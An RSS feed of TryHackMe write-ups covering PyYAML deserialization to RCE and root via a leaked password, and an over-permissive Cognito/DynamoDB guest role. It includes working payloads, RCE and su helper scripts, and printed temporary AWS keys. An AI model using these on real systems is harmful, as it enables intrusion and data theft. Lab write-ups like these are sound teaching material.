<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Musyoka Ian on Medium]]></title>
        <description><![CDATA[Stories by Musyoka Ian on Medium]]></description>
        <link>https://medium.com/@musyokaian?source=rss-39ea31329f8f------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/0*h7xPb8zou4bnQVlG</url>
            <title>Stories by Musyoka Ian on Medium</title>
            <link>https://medium.com/@musyokaian?source=rss-39ea31329f8f------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Wed, 18 Nov 2026 21:04:35 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@musyokaian/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[Byte Lotus — Beach Bar TryHackMe Writeup]]></title>
            <link>https://musyokaian.medium.com/byte-lotus-beach-bar-tryhackme-writeup-e0f1a994231e?source=rss-39ea31329f8f------2</link>
            <guid isPermaLink="false">https://medium.com/p/e0f1a994231e</guid>
            <category><![CDATA[yaml-deserialization]]></category>
            <category><![CDATA[flask]]></category>
            <category><![CDATA[linux-privesc]]></category>
            <category><![CDATA[tryhackme-walkthrough]]></category>
            <category><![CDATA[byte-lotus-beach-bar]]></category>
            <dc:creator><![CDATA[Musyoka Ian]]></dc:creator>
            <pubDate>Sat, 01 Aug 2026 07:21:08 GMT</pubDate>
            <atom:updated>2026-08-01T07:21:08.442Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/740/0*9NVq1zHwxufSCYWP" /></figure><blockquote><strong>Challenge type:</strong> Web / YAML deserialization (PyYAML) + Linux PrivEsc</blockquote><blockquote><strong>Target:</strong> 10.49.163.147 (TryHackMe beach bar box, hostname tryhackme-2404)</blockquote><blockquote><strong>Objective:</strong> Capture the user and root flags — both obtained.</blockquote><blockquote><strong>Flags:</strong></blockquote><blockquote>user flag THM{y4ml_……………….._b34ch} ·</blockquote><blockquote>root flagTHM{cr3d3nt14l_……………………_b34ch_b4r}</blockquote><p>The beach bar guest-experience app parses DJ playlist YAML with PyYAML’s unsafe yaml.load(Loader=yaml.Loader) in the import feature — a crafted playlist executes commands as the bartender OS user. That is the user flag. For root, a service (jukeboxd) runs as root and leaks SunsetSpritz2024! in its process arguments ( — stream-pass) — the same string is the root password, so su root drops the root flag.</p><h4>1. Reconnaissance — a box with just two doors</h4><p>Only two TCP ports are open:</p><pre>PORT   STATE SERVICE<br>22/tcp open  ssh<br>80/tcp open  http</pre><p>SSH (OpenSSH 9.6p1) rejects password auth (publickey-only), so the Gunicorn/Flask app on 80 is the sole entry point.</p><h4>2. Web app mapping — a DJ who never logs out</h4><p>/ 302-redirects to /login; the “Beach Bar // Sign in” page leaks a staff note in an HTML comment:</p><pre>&lt;!--<br>  staff note: the demo DJ login is still enabled for the soft opening.<br>  dj / dj  -- swap this before the season starts (ticket BAR-7)<br>--&gt;</pre><p>The scenario hint “a DJ who never logs out” maps to that comment: a permanent demo account dj / dj left enabled in the shipped code (USERS = {“dj”: “dj”}). Authenticate and enumerate:</p><pre>curl -s -i -c cookies.txt -b cookies.txt -X POST http://10.49.163.147/login -d &#39;username=dj&amp;password=dj&#39;</pre><p>302 -&gt; /dashboard with a Flask signed session cookie (payload {“user”:”dj”}). Authenticated surface: /dashboard (floor stats), /import (paste or upload a YAML playlist), /export (sample YAML), /logout. /import is the boundary the hint “a song queue that accepts a little more than song titles” points at.</p><h4>3. Source analysis — the unsafe loader</h4><p>After RCE (next section), the app source confirms the sink — /opt/beach-bar/webapp/app.py:</p><pre>app.secret_key = &quot;beach-bar-jukebox-fixed-session-key&quot;<br>USERS = { &quot;dj&quot;: &quot;dj&quot; }<br><br>@app.route(&quot;/import&quot;, methods=[&quot;GET&quot;, &quot;POST&quot;])<br>@login_required<br>def import_playlist():<br>    ...<br>    parsed = yaml.load(content, Loader=yaml.Loader)   # &lt;-- unsafe loader</pre><h4>4. Exploitation — YAML deserialization → RCE</h4><p>The import endpoint parses the playlist and reflects the parsed structure back in the response (“Loaded playlist”). A benign playlist comes back as a Python repr:</p><pre>playlist:<br>  name: test<br>  tracks:<br>    - artist: A<br>      title: B</pre><pre>{&#39;playlist&#39;: {&#39;name&#39;: &#39;test&#39;, &#39;tracks&#39;: [{&#39;artist&#39;: &#39;A&#39;, &#39;title&#39;: &#39;B&#39;}]}}</pre><p>A raw Python object echoed means the loader deserializes YAML tags. Submit a !!python/object/apply payload (remove the space before the colon in the tag) that runs subprocess.check_output:</p><pre>!!python/object/apply :subprocess.check_output [[&quot;id&quot;]]</pre><p>Reflected:</p><pre>b&#39;uid=1001(bartender) gid=1001(bartender) groups=1001(bartender)\n&#39;</pre><p>Command execution as bartender (uid 1001), with stdout rendered in the response. To dodge YAML quoting, base64-encode the command and pipe it through a nested shell:</p><pre>!!python/object/apply :subprocess.check_output [[&quot;bash&quot;,&quot;-c&quot;,&quot;echo &lt;b64&gt; | base64 -d | bash&quot;]]</pre><p>Local helper /tmp/byte_lotus/rce.py wraps that into a clean CLI:</p><pre>import sys, subprocess, urllib.request, urllib.parse, base64, re, html<br><br>def run(cmd, timeout=25):<br>    b64 = base64.b64encode(cmd.encode()).decode()<br>    inner = f&quot;echo {b64} | base64 -d | bash&quot;<br>    TAG = &quot;!!python/object&quot; + &quot;/apply&quot;<br>    payload = f&#39;{TAG}:subprocess.check_output [[&quot;bash&quot;,&quot;-c&quot;,&quot;{inner}&quot;]]&#39;<br>    data = urllib.parse.urlencode({&#39;playlist&#39;: payload}).encode()<br>    req = urllib.request.Request(&#39;http://10.49.163.147/import&#39;, data=data, method=&#39;POST&#39;)<br>    sess = [l for l in open(&#39;/tmp/byte_lotus/cookies.txt&#39;) if &#39;session&#39; in l][0].split()[-1]<br>    req.add_header(&#39;Cookie&#39;, &#39;session=&#39; + sess)<br>    req.add_header(&#39;Content-Type&#39;, &#39;application/x-www-form-urlencoded&#39;)<br>    resp = urllib.request.urlopen(req, timeout=timeout)<br>    body = resp.read().decode(errors=&#39;replace&#39;)<br>    m = re.findall(r&#39;&lt;pre&gt;(.*?)&lt;/pre&gt;&#39;, body, re.S)<br>    return html.unescape(m[-1]) if m else body<br><br>if __name__ == &#39;__main__&#39;:<br>    print(run(sys.argv[1]))</pre><p>Usage: python3 rce.py ‘&lt;shell command&gt;’. Long chains should end in a successful exit (; true) because check_output raises on non-zero exit codes.</p><h4>5. Post-exploitation — user flag</h4><p>Identity and layout:</p><pre>python3 rce.py &#39;id; hostname; whoami; pwd; ls -la /home/bartender/&#39;</pre><pre>uid=1001(bartender) gid=1001(bartender) groups=1001(bartender)<br>tryhackme-2404<br>bartender<br>/opt/beach-bar/webapp<br>-rw-r----- 1 bartender bartender 34 user.txt   (in /home/bartender/)</pre><pre>python3 rce.py &#39;cat /home/bartender/user.txt&#39;</pre><pre>THM{y4ml_...................._b34ch}</pre><p>Environment inventory for the privesc phase: webapp + venv under /opt/beach-bar/; jukeboxd.py world-readable; jukeboxd.service runs it as root; users present are root, ubuntu (1000), bartender (1001).</p><h4>6. Privilege escalation — the service down the boardwalk</h4><pre>python3 rce.py &#39;ps auxf&#39;</pre><p>Key line:</p><pre>root  609  ... /opt/beach-bar/venv/bin/python /opt/beach-bar/jukeboxd/jukeboxd.py --stream-pass SunsetSpritz2024! --bitrate 320k</pre><p>The scenario hint “a service down the boardwalk quietly announcing something” maps here: a root process (jukeboxd) announcing a credential, SunsetSpritz2024!, in its command line. “Trimmings still attached”: the streamer logic was stripped down to a sleep-loop, but the required — stream-pass argument (a real secret) remained. jukeboxd.py never even uses the password.</p><p>Validation of the credential:</p><pre>Test                          Result<br>ssh (root/ubuntu/bartender)   Permission denied (publickey)  -&gt; password auth disabled<br>echo pass | sudo -S -l        incorrect password             -&gt; not bartender&#39;s sudo pass<br>su - ubuntu (PTY)             Authentication failure         -&gt; not ubuntu&#39;s password<br>su - root (PTY)               uid=0(root)                    -&gt; the stream pass IS the root password</pre><p>su needs a TTY, so a small PTY wrapper (/tmp/su_root.py) on the target:</p><pre>import pty, os, time, select<br>def su_root(cmd):<br>    pid, fd = pty.fork()<br>    if pid == 0:<br>        os.execv(&#39;/bin/su&#39;, [&#39;su&#39;, &#39;-&#39;, &#39;root&#39;, &#39;-c&#39;, cmd])<br>    else:<br>        buf = b&#39;&#39;; sent = False; deadline = time.time() + 1.2<br>        while time.time() &lt; deadline:<br>            r,_,_ = select.select([fd],[],[],0.2)<br>            if r:<br>                d = os.read(fd, 65536)<br>                if not d: break<br>                buf += d<br>                if b&#39;Password&#39; in buf and not sent:<br>                    os.write(fd, b&#39;SunsetSpritz2024!\n&#39;); sent = True; deadline = time.time() + 3.0<br>        try:<br>            while True:<br>                r,_,_ = select.select([fd],[],[],0.3)<br>                if not r: break<br>                d = os.read(fd, 65536)<br>                if not d: break<br>                buf += d<br>        except OSError: pass<br>        os.close(fd)<br>        return buf.decode(errors=&#39;replace&#39;)<br>print(su_root(&#39;id; cat /root/root.txt; ls -la /root/&#39;))</pre><p>Upload and run through the RCE helper:</p><pre>python3 rce.py &quot;echo &lt;base64-of-script&gt; | base64 -d &gt; /tmp/su_root.py &amp;&amp; python3 /tmp/su_root.py &gt; /tmp/su_root.out 2&gt;&amp;1; cat /tmp/su_root.out&quot;</pre><pre>Password:<br>uid=0(root) gid=0(root) groups=0(root)<br>THM{cr3d3nt14l_....................._b4r}</pre><p>Root obtained via credential reuse: SunsetSpritz2024! = jukeboxd — stream-pass = root password.</p><h4>7. Root cause &amp; fix</h4><p>Unsafe YAML deserialization (Critical): yaml.load(Loader=yaml.Loader) on attacker-controlled playlists deserializes arbitrary Python objects. Fix: use yaml.safe_load (or a schema-validating parser / non-YAML format).</p><p>Credential disclosure + reuse (Critical): a real secret passed as a process argument ( — stream-pass) and reused as the root password. Fix: never pass secrets as CLI arguments (process args are world-visible via /proc/&lt;pid&gt;/cmdline); never reuse secrets across contexts.</p><p>Supporting weaknesses: hard-coded Flask secret_key; demo credentials dj / dj left enabled in production.</p><h4>8. Reference — commands used</h4><pre>nmap -Pn -p- -T4 --min-rate 2000 -oN /tmp/byte_lotus/ports.nmap 10.49.163.147<br>nmap -Pn -sV -T4 -p 22,80,443,3000,5000,8000,8080,8081,8888,9000 10.49.163.147<br>curl -s -i http://10.49.163.147/              # -&gt; 302 /login<br>curl -s http://10.49.163.147/login            # HTML comment leaks dj / dj<br>curl -s -i -c cookies.txt -b cookies.txt -X POST http://10.49.163.147/login -d &#39;username=dj&amp;password=dj&#39;<br>curl -s -b cookies.txt http://10.49.163.147/dashboard<br>curl -s -b cookies.txt http://10.49.163.147/import<br>curl -s -b cookies.txt http://10.49.163.147/export<br><br># RCE POC<br>curl -s -b cookies.txt -X POST http://10.49.163.147/import   --data-urlencode &#39;playlist=!!python/object/apply :subprocess.check_output [[&quot;id&quot;]]&#39;<br><br># user flag<br>python3 rce.py &#39;cat /home/bartender/user.txt&#39;<br><br># privesc<br>python3 rce.py &#39;ps auxf&#39;<br>python3 rce.py &quot;echo &lt;b64&gt; | base64 -d &gt; /tmp/su_root.py &amp;&amp; python3 /tmp/su_root.py &gt; /tmp/su_root.out 2&gt;&amp;1; cat /tmp/su_root.out&quot;</pre><p>If you liked the walkthrough clap for me down below and follow me so that you don’t miss any upcoming ones.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=e0f1a994231e" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Byte Lotus Wellness — “Complimentary” App TryHackMe Writeup]]></title>
            <link>https://musyokaian.medium.com/byte-lotus-wellness-complimentary-app-tryhackm-ewriteup-570014efdf74?source=rss-39ea31329f8f------2</link>
            <guid isPermaLink="false">https://medium.com/p/570014efdf74</guid>
            <category><![CDATA[ami]]></category>
            <category><![CDATA[web-application-security]]></category>
            <category><![CDATA[byte-lotus-wellness]]></category>
            <category><![CDATA[aws]]></category>
            <category><![CDATA[tryhackme-walkthrough]]></category>
            <dc:creator><![CDATA[Musyoka Ian]]></dc:creator>
            <pubDate>Fri, 31 Jul 2026 18:24:01 GMT</pubDate>
            <atom:updated>2026-07-31T18:37:46.689Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/96/1*veJOkBpVPfDVh_fAq-tQpw.png" /></figure><blockquote><strong>Challenge type:</strong> Web / Cloud (AWS S3 + Cognito + DynamoDB)</blockquote><blockquote><strong>Target:</strong> <a href="http://complimentary-wellness-app-332173347248.s3-website-us-east-1.amazonaws.com/">http://complimentary-wellness-app-332173347248.s3-website-us-east-1.amazonaws.com/</a></blockquote><blockquote><strong>Objective:</strong> Understand how a no-login app identifies users, and what else it will hand over.</blockquote><blockquote><strong>Flag:</strong> THM{fr33_………._d4t4!}</blockquote><p>The app is a static S3 website. Its <strong><em>app.js</em></strong> hands every visitor unauthenticated IAM credentials via an AWS Cognito Identity Pool, then reads a DynamoDB profile keyed by a client-chosen guest_id. The guest IAM role is not scoped to the guest’s own item — it permits GetItem, Query, and Scan on the entire complimentary-GuestWellnessProfiles table. Any visitor can Scan the table (or GetItem any guest_id) and read every profile, including the VIP profile guest-vip-042, whose notes field contains the flag.</p><h4>1. Recon — S3 bucket</h4><p>The site is an S3 static website bucket complimentary-wellness-app-332173347248 in us-east-1.</p><pre># Root page<br>curl -sS -i &quot;http://complimentary-wellness-app-332173347248.s3-website-us-east-1.amazonaws.com/&quot;<br># =&gt; 200 OK, Server: AmazonS3, text/html (1095 bytes), loads aws-sdk-2.1500.0.min.js + app.js<br><br># Bucket object listing — DENIED (403) on every form<br>curl -sS -i &quot;https://complimentary-wellness-app-332173347248.s3.us-east-1.amazonaws.com/?list-type=2&quot;   # 403 AccessDenied<br>curl -sS -i &quot;https://complimentary-wellness-app-332173347248.s3.us-east-1.amazonaws.com/&quot;              # 403 AccessDenied<br>aws s3 ls s3://complimentary-wellness-app-332173347248 --no-sign-request                                # AccessDenied (ListObjectsV2)<br><br># Region confirm<br># x-amz-bucket-region: us-east-1 header on all endpoints<br><br># Metadata subresources (all 403 unauth)<br>for s in acl policy tagging versioning versions; do<br>  curl -sS -i &quot;https://complimentary-wellness-app-332173347248.s3.us-east-1.amazonaws.com/?$s&quot; | head -1<br>done<br><br># Object presence probes (~90 guessed keys via website endpoint; 200 = present, 404 = missing)<br>for n in index.html app.js flag.txt flag flags FLAG.txt .env env.json config.json admin private staff premium backup .git credentials.json users.json data.json package.json README.md robots.txt sitemap.xml; do<br>  curl -sS -o /dev/null -w &quot;%{http_code} /$n<br>&quot; &quot;http://complimentary-wellness-app-332173347248.s3-website-us-east-1.amazonaws.com/$n&quot;<br>done<br># =&gt; 200 ONLY for index.html and app.js; everything else 404 (missing, none exists-but-private)</pre><p><em>Result: Bucket listing denied; only two public objects — index.html and app.js. No flag as an object.</em></p><h4>2. App analysis — where identity comes from</h4><pre>curl -sS &quot;http://complimentary-wellness-app-332173347248.s3-website-us-east-1.amazonaws.com/app.js&quot;</pre><p>app.js (1684 bytes) is the entire client logic:</p><pre>IDENTITY_POOL_ID = &quot;us-east-1:836c0949-292d-485b-b532-52d5ca7bb688&quot;<br>AWS_REGION       = &quot;us-east-1&quot;<br>TABLE_NAME       = &quot;complimentary-GuestWellnessProfiles&quot;<br><br>AWS.CognitoIdentityCredentials({ IdentityPoolId })          // UNAUTHENTICATED guest credentials<br><br>function guestId() {<br>  return localStorage[&quot;byteLotusGuestId&quot;] ||<br>         &quot;guest-&quot; + Math.random().toString(36).slice(2, 10); // client-chosen random id<br>}<br><br>dynamodb.getItem({ TableName, Key: { guest_id: { S: guestId() } } }); // -&gt; renders name + notes</pre><p><strong>Key insight:</strong> “How it knows you” = the app hands every visitor a hardcoded AWS Cognito Identity Pool ID. Calling Cognito’s public API with that pool ID returns unauthenticated guest IAM credentials — no account, no login, no server-side identity. The only thing that makes you “you” is a random guest_id your own browser invents and stores in localStorage; the app sends that id to DynamoDB and prints whatever profile it finds.</p><h4>Prove it — paste this into a terminal</h4><p>Each step is a public API call. There are no credentials anywhere until the app gives them to you:</p><pre># 0) Where does the app get its identity from? From itself — fetch app.js and read the constants:<br>curl -sS http://complimentary-wellness-app-332173347248.s3-website-us-east-1.amazonaws.com/app.js<br>#    -&gt; IDENTITY_POOL_ID = &quot;us-east-1:836c0949-292d-485b-b532-52d5ca7bb688&quot;<br>#    -&gt; TABLE_NAME       = &quot;complimentary-GuestWellnessProfiles&quot;<br><br># 1) Ask Cognito &quot;who am I?&quot; with zero auth -&gt; an identity is minted for us:<br>IDENTITY_POOL_ID=&quot;us-east-1:836c0949-292d-485b-b532-52d5ca7bb688&quot;<br>IDENTITY_ID=$(curl -sS https://cognito-identity.us-east-1.amazonaws.com/ \<br>  -H &#39;Content-Type: application/x-amz-json-1.1&#39; \<br>  -H &#39;X-Amz-Target: AWSCognitoIdentityService.GetId&#39; \<br>  -d &quot;{\&quot;IdentityPoolId\&quot;:\&quot;$IDENTITY_POOL_ID\&quot;}&quot; \<br>  | python3 -c &#39;import sys,json;print(json.load(sys.stdin)[&quot;IdentityId&quot;])&#39;)<br>echo &quot;identity: $IDENTITY_ID&quot;<br><br># 2) Exchange that identity for temporary IAM keys (the &quot;guest&quot; role) — still no login:<br>eval &quot;$(curl -sS https://cognito-identity.us-east-1.amazonaws.com/ \<br>  -H &#39;Content-Type: application/x-amz-json-1.1&#39; \<br>  -H &#39;X-Amz-Target: AWSCognitoIdentityService.GetCredentialsForIdentity&#39; \<br>  -d &quot;{\&quot;IdentityId\&quot;:\&quot;$IDENTITY_ID\&quot;}&quot; \<br>  | python3 -c &#39;<br>import sys,json<br>c=json.load(sys.stdin)[&quot;Credentials&quot;]<br>print(&quot;export AWS_ACCESS_KEY_ID=\&quot;&quot;    + c[&quot;AccessKeyId&quot;]     + &quot;\&quot;&quot;)<br>print(&quot;export AWS_SECRET_ACCESS_KEY=\&quot;&quot;+ c[&quot;SecretKey&quot;]       + &quot;\&quot;&quot;)<br>print(&quot;export AWS_SESSION_TOKEN=\&quot;&quot;    + c[&quot;SessionToken&quot;]    + &quot;\&quot;&quot;)&#39;)&quot;<br><br># 3) Now you ARE the app&#39;s guest role. Read any profile you want:<br>export AWS_REGION=us-east-1 AWS_DEFAULT_REGION=us-east-1<br>aws dynamodb get-item --table-name complimentary-GuestWellnessProfiles \<br>  --key &#39;{&quot;guest_id&quot;:{&quot;S&quot;:&quot;guest-vip-042&quot;}}&#39; --region us-east-1</pre><p>That’s the whole trick: you never authenticated. The app itself handed you AWS keys, and the only thing that was supposed to make you “you” is a guest_id string — one you’re free to pick yourself.</p><h4>3. Exploitation — the flag is in a DynamoDB row</h4><h4>Step 1 — fetch the app’s JS and read the two constants</h4><pre>curl -sS http://complimentary-wellness-app-332173347248.s3-website-us-east-1.amazonaws.com/app.js</pre><p>The whole app config is visible: Identity Pool us-east-1:836c0949–292d-485b-b532–52d5ca7bb688, table complimentary-GuestWellnessProfiles.</p><h4>Step 2 — mint an identity and get guest keys (no login)</h4><pre># Anonymous AWS Cognito GetId -&gt; new identity<br>IDENTITY_POOL_ID=&quot;us-east-1:836c0949-292d-485b-b532-52d5ca7bb688&quot;<br>IDENTITY_ID=$(curl -sS https://cognito-identity.us-east-1.amazonaws.com/ \<br>  -H &#39;Content-Type: application/x-amz-json-1.1&#39; \<br>  -H &#39;X-Amz-Target: AWSCognitoIdentityService.GetId&#39; \<br>  -d &quot;{\&quot;IdentityPoolId\&quot;:\&quot;$IDENTITY_POOL_ID\&quot;}&quot;)<br>echo &quot;raw: $IDENTITY_ID&quot;   # IdentityId: us-east-1:.... (the exact id differs every call)<br><br># Exchange for temp IAM keys (guest role) - still zero auth<br>curl -sS https://cognito-identity.us-east-1.amazonaws.com/ \<br>  -H &#39;Content-Type: application/x-amz-json-1.1&#39; \<br>  -H &#39;X-Amz-Target: AWSCognitoIdentityService.GetCredentialsForIdentity&#39; \<br>  -d &quot;{\&quot;IdentityId\&quot;:\&quot;$IDENTITY_ID\&quot;}&quot;<br># =&gt; AccessKeyId, SecretKey, SessionToken, Expiration</pre><p>The response is a real, working AWS key set scoped to the app’s guest role — same credentials app.js gets when the page loads.</p><h4>Step 3 — abuse the over-permissive guest role</h4><pre># Export the keys from Step 2 (or run the eval() one-liner in section 2)<br>export AWS_ACCESS_KEY_ID=ASIAU2VYTBGYJQ3WRRQN<br>export AWS_SECRET_ACCESS_KEY=RkqxX56AeORBjagtGJHpwJ+0jmT9UyaCgW+KMHZS<br>export AWS_SESSION_TOKEN=&quot;IQoJb3JpZ2luX2VjEOj//////////wEaCXVzLWVhc3QtMSJGMEQCIAgtk/Us+GoTh3+bAtskPj6lSPEBM8yeWVKhUXM87KZmAiBKzApRBm5l3J3+Tect3EnOKCclZTyBt0PcigdRVNRVHyq4BQix//////////8BEAAaDDMzMjE3MzM0NzI0OCIMvrE8BTmLUOqAfkhAKowFvBjUJheRL+1aWYjjAI6VkuX9NWe8oLcyp39I+mrnYbLzAg2mG9CFVKGbREuF4dZ4032SeQaGNDOcoiQESMtmCB1rXL1HWF5tlDJIn/mzbicbuD3YSSbWl3IkqZaRccZRS8Iu+6LgCB9lWDG1eC8gksc3KJGDecryslhfPPyB61rdshM6C1J9JiQDEgYlf2a+XFBuKJfA9uQq3HDcvIRs96tW3v6oAWR4oN+cdf3D2OF/aHPctnvzaN4d6ko2P0xtT3BpQwOsE7H1rvpeNIFt/7pHQL7dm3TPtw5ZiiXApA0t97epeTxmgACfuUQHAs4oV5nWeeE9SyiRgJALqA9l2RNzS4YZ+9XlTzRBlNygPlPkre9NqWM2QvnlHneMA5wG4LBbHMe3cqV7h84Gis0U1xQ5jOJjd7VN2uCxoMy+PqBdxOaKr7n1Lw47k0n/Hm5fjGeQD3UVTCGDd+75896QsjQk1THlF+D0wgU8ToXjqR4scKQpng83qSwzlbtrYC2eBNM7o2NwvZmlQCoMdgNt1jHsfCk+uVB5Vf3lPAAn2CPBZRLq0Asecx2JaUCl1rpFEPUK7vAwRD5s21GpTn7QV2ZrFPIUUYgJ+tez0WZsO9I0CrTcFT0uBQVnBllfIAxOWNTpoEiz0UpeHFhWFrWsxmLphh0W3j9o5QwJZun8gu7HVnPByzEi8gsIazUbwGcD8dQOjjliunveDDMGD48zmF5+EikoQy4PvygGqKNdkqXftf4oHi1c8vkY9qJ3n2QmphvRBoFmA3OBXU0iGvBEhrUyPs7epTsdEybMq8rMRXrhk9emOMrSE2snLHRcQk5jGPZjoe7ByHbv5jARH9WC0dE/TOGFF4JjAcu8ZTCAhrPTBjreAmAuN+RVAWrjRJuaEKEPPLUpfuxeF7O8gK3BCls5q3Ue6QCCjEhNBY5sBmH5jmD2sLAombZo3S4hHzdYPVCWcPOqgErQhum3ULja/NtaN+yPKgty4b4ibXMG60r78uOoUXuqpJ5JDlFR5c6ka+B8XN8NQrBVRQw55IaQ6t9PjdKOiSJB18Dvj4hJa3vvl/yBQ0/AvHYH3FyHhoEi7jmg5bQeWC9inaKSEiXp8vfZ4jm4HpcfaB8Hcm4tiMR8i0crQQvEY7mobbeaR/3JcCyPv8PXDPLW90YSVkJKdmUu+exC686V9+mzLwCaxgxjgkt2Ym7XbXgjOwS/mXIiTWb7V2Ti43J9re2Dnqh1SemhH4ARgt9DG4VmH+iPR8oPYNCs6ZxUif4lqR5AvtFZO4XaxOb8xNYH/WsW4iGJlu87te92f4KwVJIUrGzoQcg90pL28O2o1vON2vTV1EEMTXdH&quot;<br>export AWS_REGION=us-east-1 AWS_DEFAULT_REGION=us-east-1<br><br># Scan the ENTIRE table (guest role allows it):<br>aws dynamodb scan --table-name complimentary-GuestWellnessProfiles --region us-east-1<br><br># Or read any single profile directly by id:<br>aws dynamodb get-item --table-name complimentary-GuestWellnessProfiles \<br>  --key &#39;{&quot;guest_id&quot;:{&quot;S&quot;:&quot;guest-vip-042&quot;}}&#39; --region us-east-1</pre><p>The profile guest-vip-042 (Suki Reyes, “VIP Client”) has a notes field containing the flag: THM{fr33_app_fr33_d4t4!}</p><pre>{<br>  &quot;Item&quot;: {<br>    &quot;guest_id&quot;: { &quot;S&quot;: &quot;guest-vip-042&quot; },<br>    &quot;name&quot;: { &quot;S&quot;: &quot;Suki Reyes&quot; },<br>    &quot;role&quot;: { &quot;S&quot;: &quot;VIP Client&quot; },<br>    &quot;notes&quot;: { &quot;S&quot;: &quot;THM{fr33_........._d4t4!}&quot; }<br>  }<br>}</pre><p>Same flag row returned by all three methods (app GetItem, manual GetItem, full Scan).</p><h4>Alternative browser-only proof (no terminal, no AWS CLI)</h4><p>Open the app page, then in DevTools console:</p><pre>// 1) Let app.js create guest credentials via CognitoIdentityCredentials (or paste the token from a GetCredentialsForIdentity call)<br>// 2) Point the SDK at the table and read the VIP row:<br>AWS.config.credentials = new AWS.CognitoIdentityCredentials({<br>  IdentityPoolId: &quot;us-east-1:836c0949-292d-485b-b532-52d5ca7bb688&quot;<br>});<br>await new AWS.DynamoDB().getItem({<br>  TableName: &quot;complimentary-GuestWellnessProfiles&quot;,<br>  Key: { guest_id: { S: &quot;guest-vip-042&quot; } }<br>}).promise();<br>// =&gt; Item.notes.S === &quot;THM{fr33_..........._d4t4!}&quot;</pre><h4>4. Verification — was it actually that dumb?</h4><p>The whole attack was: read the constants, call Cognito, Scan/GetItem. Re-run cleanly:</p><p>dynamodb scan on the guest table returns ALL profiles (5 in this deployment: Alex Chen, Maria Garcia, James Wilson, guest-vip-042 / Suki Reyes, and the current visitor row)</p><p>dynamodb get-item with guest_id = guest-vip-042 returns the same flag profile</p><p>The app’s own UI, on load, fetches and renders whatever profile guest_id says — you never logged in</p><p>No privilege-escalation steps at all: the guest role IS the authorized role</p><p>Negative control: a profile row with no notes field simply renders nothing in the app — no flag anywhere else (checked all 5 rows).</p><p>Blast radius (if the table held production user PII): every visitor can read every row — full data exposure for a no-login guest role. Root cause: the guest IAM role policy was written for “the app’s own row” but not scoped — it grants the entire table. The fix in a real codebase would be a Condition on the partition key (e.g. guest_id begins with guest- AND equals the Cognito sub claim ${cognito-identity.amazonaws.com:sub}), giving each guest only their own item.</p><h4>5. Root cause &amp; fix (the important part)</h4><p><strong>Root cause</strong>: The app hands out unauthenticated Cognito guest credentials whose IAM role permits GetItem/Query/Scan on the whole DynamoDB table. Identity = a client-chosen guest_id in localStorage, so there is no server-side notion of “your row”.</p><p>Fix (in order of leverage):</p><p>Restrict the guest IAM role to row-scoped access: dynamodb:GetItem on arn:aws:dynamodb:…:table/complimentary-GuestWellnessProfiles with a Condition like “ForAllValues:StringEquals”: {“dynamodb:LeadingKeys”: [“${cognito-identity.amazonaws.com:sub}”]} — guest can only touch their own item.</p><p>Drop Scan and Query from the guest role entirely unless truly needed.</p><p>Have the app read cognito-identity.amazonaws.com:sub (the identity’s true ID) from the credential/identity ID, and key rows by that instead of a browser-invented guest_id.</p><p>If guests genuinely need to see other guests (e.g. social features), move that logic behind an authenticated API with row-level authorization checks, not raw table access.</p><h4>6. Reference — commands used</h4><pre>Phase    | Command<br>---------|----------------------------------------------------------------------<br>Recon    | curl -sS -i http://complimentary-wellness-app-332173347248.s3-website-us-east-1.amazonaws.com/<br>Recon    | curl -sS -i &quot;https://complimentary-wellness-app-332173347248.s3.us-east-1.amazonaws.com/?list-type=2&quot;<br>Recon    | aws s3 ls s3://complimentary-wellness-app-332173347248 --no-sign-request<br>Analyze  | curl -sS http://complimentary-wellness-app-332173347248.s3-website-us-east-1.amazonaws.com/app.js<br>Analyze  | curl -sS https://cognito-identity.us-east-1.amazonaws.com/ -H &#39;Content-Type: application/x-amz-json-1.1&#39; -H &#39;X-Amz-Target: AWSCognitoIdentityService.GetId&#39; -d &#39;{&quot;IdentityPoolId&quot;:&quot;us-east-1:836c0949-292d-485b-b532-52d5ca7bb688&quot;}&#39;<br>Analyze  | curl -sS https://cognito-identity.us-east-1.amazonaws.com/ -H &#39;Content-Type: application/x-amz-json-1.1&#39; -H &#39;X-Amz-Target: AWSCognitoIdentityService.GetCredentialsForIdentity&#39; -d &#39;{&quot;IdentityId&quot;:&quot;us-east-1:...&quot;}&#39;<br>Exploit  | aws dynamodb scan --table-name complimentary-GuestWellnessProfiles --region us-east-1<br>Exploit  | aws dynamodb get-item --table-name complimentary-GuestWellnessProfiles --key &#39;{&quot;guest_id&quot;:{&quot;S&quot;:&quot;guest-vip-042&quot;}}&#39; --region us-east-1</pre><p>If you liked the walkthrough clap for me down below and follow me so that you don’t miss any upcoming walkthroughs</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=570014efdf74" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[FORWARD TRYHAKME CHALLENGE]]></title>
            <link>https://musyokaian.medium.com/forward-tryhakme-challenge-15e05a0f532d?source=rss-39ea31329f8f------2</link>
            <guid isPermaLink="false">https://medium.com/p/15e05a0f532d</guid>
            <category><![CDATA[forward]]></category>
            <category><![CDATA[tryhackme-writeup]]></category>
            <category><![CDATA[active-directory]]></category>
            <category><![CDATA[rbcd]]></category>
            <category><![CDATA[keepass]]></category>
            <dc:creator><![CDATA[Musyoka Ian]]></dc:creator>
            <pubDate>Sat, 23 May 2026 18:28:09 GMT</pubDate>
            <atom:updated>2026-05-24T07:17:32.530Z</atom:updated>
